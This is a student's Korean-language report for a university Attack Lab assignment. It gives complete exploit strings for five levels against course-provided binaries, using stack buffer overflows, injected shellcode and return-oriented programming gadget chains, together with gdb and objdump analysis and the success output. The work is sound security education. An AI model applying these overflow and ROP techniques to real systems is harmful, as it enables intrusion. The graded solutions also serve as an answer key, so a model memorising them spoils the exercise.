

Lab 4 [Attack Lab] Report

학번 : 20220312

이름 : 박준혁

명예서약 (Honor Code)

나는 이 프로그래밍 과제를 다른 사람의 부적절한 도움 없이 완수하였습니다.

I completed this programming task without the improper help of others.

Target 49

#	Target	Date	Score	Phase 1	Phase 2	Phase 3	Phase 4	Phase 5
1	49	Thu Oct 19 04:29:38 2023	100	10	25	25	35	5

level 1

```
lab4 > target49 > ≡ ctarget1.txt
1  00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  0e 18 40 00 00 00 00 00
```

level 2

```
lab4 > target49 > ≡ ctarget2.txt
1  48 c7 c7 2a 1e 79 72 c3
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  28 21 64 55 00 00 00 00
7  36 18 40 00 00 00 00 00
8
```

level 3

```
lab4 > target49 > ≡ ctarget3.txt
1  48 c7 c7 60 21 64 55 c3
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  28 21 64 55 00 00 00 00
7  0b 19 40 00 00 00 00 00
8  37 32 37 39 31 65 32 61
9  00
```

level 4

```
lab4 > target49 > ≡ rtarget1.txt
1  00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  ae 19 40 00 00 00 00 00
7  2a 1e 79 72 00 00 00 00
8  a7 19 40 00 00 00 00 00
9  36 18 40 00 00 00 00 00
10
```

level 5

```
lab4 > target49 > ≡ rtarget2.txt
1  00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  e6 19 40 00 00 00 00 00
7  a7 19 40 00 00 00 00 00
8  ae 19 40 00 00 00 00 00
9  48 00 00 00 00 00 00 00
10 16 1a 40 00 00 00 00 00
11 24 1a 40 00 00 00 00 00
12 32 1a 40 00 00 00 00 00
13 d2 19 40 00 00 00 00 00
14 a7 19 40 00 00 00 00 00
15 0b 19 40 00 00 00 00 00
16 37 32 37 39 31 65 32 61
17 00
```

Level 1

우선 분석을 위해 ctarget을 objdump 해주고, 너무 길기 때문에 asm.txt에 저장해 주었다.

```
9]$ objdump -d ctarget >asm.txt
```

asm.txt의 getbuf와 touch1은 다음과 같다.

```
lab4 > target49 > ≡ asm.txt
798
799 00000000004017f4 <getbuf>:
800 4017f4: 48 83 ec 28      sub    $0x28,%rsp
801 4017f8: 48 89 e7         mov    %rsp,%rdi
802 4017fb: e8 3a 02 00 00   callq 401a3a <Gets>
803 401800: b8 01 00 00 00   mov    $0x1,%eax
804 401805: 48 83 c4 28      add    $0x28,%rsp
805 401809: c3             retq
806
807 000000000040180a <touch1>:
808 40180a: 48 83 ec 08      sub    $0x8,%rsp
809 40180e: c7 05 e4 2c 20 00 01 movl   $0x1,0x202ce4(%rip)
810 401815: 00 00 00
811 401818: bf 78 2f 40 00   mov    $0x402f78,%edi
812 40181d: e8 2e f4 ff ff   callq 400c50 <puts@plt>
813 401822: bf 01 00 00 00   mov    $0x1,%edi
814 401827: e8 fd 03 00 00   callq 401c29 <validate>
815 40182c: bf 00 00 00 00   mov    $0x0,%edi
816 401831: e8 ba f5 ff ff   callq 400df0 <exit@plt>
817
```

getbuf를 보면 스택을 0x28만큼 확장하고 gets를 호출한다.

따라서 만약 0x28보다 큰 값을 넣게 되면 stack overflow가 발생한다.

또한 **touch 1**의 주소인 **0x40180a**를 넣으면 **touch1**을 실행할 것이다.

****0a는 wn으로 인식하기 때문에 한줄 아래인 40180e로 실행하였다****

0x28=40이므로 40바이트는 0으로 채우고 다음 8바이트를 0x000000000040180e 로 채운다.

Little Endian이므로 다음과 같이 ctarget1.txt를 만들고 실행시켜 보았다.

```
lab4 > target49 > ≡ ctarget1.txt
1  00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  0e 18 40 00 00 00 00 00

[joon363@programming2 target49]$ ./hex2raw < ctarget1.txt | ./ctarget
Cookie: 0x72791e2a
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Level 1 완료

Level 2

attack string을 다음과 같이 설계한다.

버퍼 앞쪽에 들어갈 것:

rdi에 쿠키를 넣는 코드

return

버퍼 뒤에 들어갈 것(overflow 부분):

런타임 중 버퍼의 맨 첫줄의 주소

touch2의 주소

실행 중의 버퍼의 위치만 알면 된다. gdb로 찾아보면 다음과 같다.

getbuf에 브레이크를 걸고 ni로 넘긴다.

```
Breakpoint 1, getbuf () at buf.c:12
12      in buf.c
```

```
(gdb) ni
14      in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017f4 <+0>:      sub    $0x28,%rsp
=> 0x00000000004017f8 <+4>:      mov    %rsp,%rdi
   0x00000000004017fb <+7>:      callq 0x401a3a <Gets>
   0x0000000000401800 <+12>:     mov    $0x1,%eax
   0x0000000000401805 <+17>:     add    $0x28,%rsp
   0x0000000000401809 <+21>:     retq
End of assembler dump.
(gdb) info register $rsp
rsp                0x55642128      0x55642128
(gdb) █
```

rsp의 주소가 0x55642128이다.

필요한 어셈블리 코드는 다음과 같다.

```
lab4 > target49 > ASM ctarget2.s
1    movq $0x72791e2a,%rdi
2    retq
3
```

다음과 같은 과정을 거치면 ctarget2.d 를 얻는다.

```
$ gcc -c ctarget2.s
$ objdump -d ctarget2.o > ctarget2.d
```

```
lab4 > target49 > D ctarget2.d
1
2    ctarget2.o:      file format elf64-x86-64
3
4
5    Disassembly of section .text:
6
7    0000000000000000 <.text>:
8      0: 48 c7 c7 2a 1e 79 72    mov     $0x72791e2a,%rdi
9      7: c3                      retq
10
```

따라서 instruction 들과 위에서 얻은 주소를 하나의 ctarget2.txt 에 넣어준다.

첫 다섯줄(buf 안쪽)에는 코드를, 마지막 두줄(overflow 되는 부분)에는 버퍼 첫줄 주소와 touch2 주소를 넣는다.

```
lab4 > target49 > ≡ ctarget2.txt
1    48 c7 c7 2a 1e 79 72 c3
2    00 00 00 00 00 00 00 00
3    00 00 00 00 00 00 00 00
4    00 00 00 00 00 00 00 00
5    00 00 00 00 00 00 00 00
6    28 21 64 55 00 00 00 00
7    36 18 40 00 00 00 00 00
8
```

```
[joon363@programming2 target49]$ ./hex2raw < ctarget2.txt | ./ctarget
Cookie: 0x72791e2a
Type string:Touch2!: You called touch2(0x72791e2a)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

level 2 완료

Level 3

attack string을 다음과 같이 설계한다.

버퍼 앞쪽에 들어갈 것:

rdi에 cookie 의 주소를 넣는 코드

ret 하는 코드

버퍼 뒤에 들어갈 것(overflow 부분):

버퍼의 주소

touch3의 주소

아스키로 해석한 쿠키

attack string을 어셈블리로 다음과 같이 만든다.

이때, attack string의 cookie가 들어가 있는 주소는

rsp+7줄*8바이트 뒤 이며, rsp의 주소가 0x55642128이므로

$0x55642128 + 56 = 0x55642128 + 0x38 = 0x55642160$ 이다.

```
lab4 > target49 > ASM ctarget3.s
1  movq $0x55642160,%rdi
2  retq
3
```

```
lab4 > target49 > D ctarget3.d
1
2  ctarget3.o:      file format elf64-x86-64
3
4
5  Disassembly of section .text:
6
7  0000000000000000 <.text>:
8  |  0: 48 c7 c7 60 21 64 55      mov     $0x55642160,%rdi
9  |  7: c3                          retq
10
```

overflow 부분에 들어갈 내용

1. 버퍼의 주소는 위 level 2 에서 얻은 0x55642128 이다.

2. touch 3 의 주소는 다음과 같다.

이때 0a 가 들어갈 수 없으므로 0b 로 넣었다.

```
✓ 000000000040190a <touch3>:
  40190a: 53                push    %rbx
  40190b: 48 89 fb          mov     %rdi,%rbx
  40190e: c7 05 e4 2b 20 00 03 movl    $0x3,0x202be
```

3. 내 쿠키를 아스키로 변환하면 37 32 37 39 31 65 32 61 이다.

따라서 ctarget3.txt 를 다음과 같이 구성하였다.

```
lab4 > target49 > ≡ ctarget3.txt
 1  48 c7 c7 60 21 64 55 c3
 2  00 00 00 00 00 00 00 00
 3  00 00 00 00 00 00 00 00
 4  00 00 00 00 00 00 00 00
 5  00 00 00 00 00 00 00 00
 6  28 21 64 55 00 00 00 00
 7  0b 19 40 00 00 00 00 00
 8  37 32 37 39 31 65 32 61
 9  00
10
```

```
[joon363@programming2 target49]$ ./hex2raw < ctarget3.txt | ./ctarget
Cookie: 0x72791e2a
Type string:Touch3!: You called touch3("72791e2a")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[joon363@programming2 target49]$
```

level 3 완료

Level 4

level 2에서 사용한 어셈블리 코드는 다음과 같다.

```
0000000000000000 <.text>:
  0: 48 c7 c7 2a 1e 79 72    mov    $0x72791e2a,%rdi
  7: c3                      retq
```

하지만 code injection 을 할 수 없으므로, 우리가 할 수 있는 것은 gadget 을 이용하는 것이다.

스택을 활용할 수 있으므로 쿠키를 스택에 넣고, pop 해서 rdi 에 넣는 식으로 하면 된다.

형태는

pop operation code

cookie

mov operation code 순서로 스택에 들어갈 것이다.

Step 1: popq

i) popq %rdi: 5f

5f 를 찾아보았으나 farm 중에 없었다.

```
> 5f mov Aa _ab_* 결과 없음
```

ii) popq %rax: 58

```
00000000004019ac <setval_215>:
  4019ac: c7 07 58 90 90 90    movl   $0x90909058, (%rdi)
  4019b2: c3                      retq
```

setval_215 의 4019ac+ 2 = 4019ae 에서 찾을 수 있었다.

90 은 no operation 이므로 상관없으니 58 90 90 90 c3 을 사용하면 된다.

Step 2: movq %rax %rdi: 48 89 c7

```
00000000004019a5 <addval_436>:
  4019a5: 8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax
  4019ab: c3                      retq
```

4019a5+2 = 4019a7 에 48 89 c7 c3 을 사용하면 된다.

따라서 위 두개의 가젯을 배치하여 attack string 을 다음과 같이 짠다.

위쪽 5 줄: padding

아래 4 줄:

gadget 1 주소 4019ae (popq %rax)

cookie 값

gadget 2 주소 4019a7 (movq %rax %rdi)

touch 2 주소 401836

이러면 실행했을 때 popq %rax 가 실행, 쿠키가 pop 되어 rax 에 저장, rdi 에 rax 가 저장되고 touch 2 를 호출해 **인수에 쿠키가 들어가** 어택이 성공하게 된다.

```
lab4 > target49 > ≡ rtarget1.txt
1  00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00
6  ae 19 40 00 00 00 00 00
7  2a 1e 79 72 00 00 00 00
8  a7 19 40 00 00 00 00 00
9  36 18 40 00 00 00 00 00

[joon363@programming2 target49]$ ./hex2raw < rtarget1.txt | ./rtarget
Cookie: 0x72791e2a
Type string:Touch2!: You called touch2(0x72791e2a)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

level 4 완료

Level 5

idea: cookie 의 정확한 주소는 모르지만 rsp 로부터의 상대적인 위치는 알 수 있다.

따라서 attack string 에 rsp 를 가져오는 코드,

그 코드에서 cookie 까지의 offset 을 알고 있으면

rsp 값+ offset 이 곧 cookie 의 주소가 되어 이를 rdi 에 넣으면 된다.

더하기의 경우에는 farm 에 있는 add_xy 를 사용한다.

```
00000000004019d2 <add_xy>:  
4019d2: 48 8d 04 37      lea    (%rdi,%rsi,1),%rax  
4019d6: c3              retq
```

크게 4 개의 step 으로 진행한다.

movq rsp rdi (rsp 를 rdi 에 담아 add_xy 의 첫번째 인수로 가져오기)

popq rsi (스택에 있는 offset 값을 rsi 에 담아 add_xy 의 두번째 인수로 가져오기)

add_xy (rsp+offset 을 rax 에 저장하기)

movq rax rdi (add_xy 의 결과값(쿠키의 시작 주소)을 rdi 에 담기)

이를 farm 에서 찾아서 여러 조합으로 구현하였다.

나의 rtarget 에서 찾을 수 있는 가용한 가젯들은 다음과 같다. (다음 장)

```

✓ 00000000004019a5 <addval_436>:
  4019a5: 8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax
  4019ab: c3                  retq

```

4019a5: 8d 87 **48 89 c7** c3 movq rax,rdi ret

```

✓ 00000000004019e4 <setval_145>:
  4019e4: c7 07 48 89 e0 90    movl    $0x90e08948, (%rdi)
  4019ea: c3                  retq

```

4019e4: c7 07 **48 89 e0** 90 4019ea: c3 movq rsp,rax nop ret

```

✓ 00000000004019ac <setval_215>:
  4019ac: c7 07 58 90 90 90    movl    $0x90909058, (%rdi)
  4019b2: c3                  retq

```

4019ac: c7 07 **58 90 90 90** 4019b2: c3 popq rax nop nop ret

```

0000000000401a14 <addval_114>:
  401a14: 8d 87 89 c1 38 db    lea    -0x24c73e77(%rdi),%eax
  401a1a: c3                  retq

```

401a14: 8d 87 **89 c1** 38 db 401a1a: c3 movl eax,ecx nop ret

```

✓ 0000000000401a22 <addval_463>:
  401a22: 8d 87 89 ca 90 c3    lea    -0x3c6f3577(%rdi),%eax
  401a28: c3                  retq

```

401a22: 8d 87 **89 ca** 90 c3 movl ecx,edx nop ret

```

✓ 0000000000401a30 <addval_172>:
  401a30: 8d 87 89 d6 38 c9    lea    -0x36c72977(%rdi),%eax
  401a36: c3                  retq

```

401a30: 8d 87 **89 d6** 38 c9 401a36: c3 movl edx,esi nop ret

위 가젯들을 이용해 4 개의 step 을 구현하였다.

i) movq rsp rdi : **movq rsp rax + movq rax rdi** 로 구현

movq rsp rdi 는 48 89 e7 인데 farm 에 없다.

4019e4: c7 07 **48 89 e0** 90 4019ea: c3 movq rsp,rax nop ret

4019a5: 8d 87 **48 89 c7** c3 movq rax,rdi ret

4019e4+2 = 4019e6, 4019a5+2=4019a7 을 사용하면 된다. (완료)

ii) popq rsi: **popq rax+movl eax ecx+movl ecx edx+movl edx esi** 로 구현

popq rsi 인 5e 는 없고, 5f 5d 5c 5b 5a 59 전부 없었다.

4019ac: c7 07 **58** 90 90 90 4019b2: c3 popq rax nop nop nop ret

401a14: 8d 87 **89 c1** 38 db 401a1a: c3 movl eax,ecx nop ret

401a22: 8d 87 **89 ca** 90 c3 movl ecx,edx nop ret

401a30: 8d 87 **89 d6** 38 c9 401a36: c3 movl edx,esi nop ret

따라서 4019ac+2=4019ae,

(offset)

401a14+2=401a16, 401a22+2=401a24, 401a30+2=401a32 을 차례로 실행한다(완료)

iii) add_xy

```
00000000004019d2 <add_xy>:
4019d2: 48 8d 04 37          lea    (%rdi,%rsi,1),%rax
4019d6: c3                  retq
```

4019d2 실행한다 (완료)

iv) movq rax rdi

4019a5: 8d 87 **48 89 c7** c3 movq rax,rdi ret

4019a5+2=4019a7 을 사용하면 된다. (완료)

이후 touch_3 (40190b)호출, 맨 뒤에 cookie 를 넣으면 된다.

최종 instruction 은 다음과 같다.

중간의 48 00 00 00 00 00 00 00 은

rsp 접근 이후부터(line 6 뒤) cookie 가 있는 곳(line 16 앞)까지의 offset 으로,

9 줄*8 바이트 = 72 바이트, 0x48 이다.

```
lab4 > target49 > ≡ rtarget2.txt
 1  00 00 00 00 00 00 00 00
 2  00 00 00 00 00 00 00 00
 3  00 00 00 00 00 00 00 00
 4  00 00 00 00 00 00 00 00
 5  00 00 00 00 00 00 00 00
 6  e6 19 40 00 00 00 00 00
 7  a7 19 40 00 00 00 00 00
 8  ae 19 40 00 00 00 00 00
 9  48 00 00 00 00 00 00 00
10  16 1a 40 00 00 00 00 00
11  24 1a 40 00 00 00 00 00
12  32 1a 40 00 00 00 00 00
13  d2 19 40 00 00 00 00 00
14  a7 19 40 00 00 00 00 00
15  0b 19 40 00 00 00 00 00
16  37 32 37 39 31 65 32 61
17  00
```

```
[joon363@programming2 target49]$ ./hex2raw < rtarget2.txt | ./rtarget
Cookie: 0x72791e2a
Type string:Touch3!: You called touch3("72791e2a")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

level 5 완료.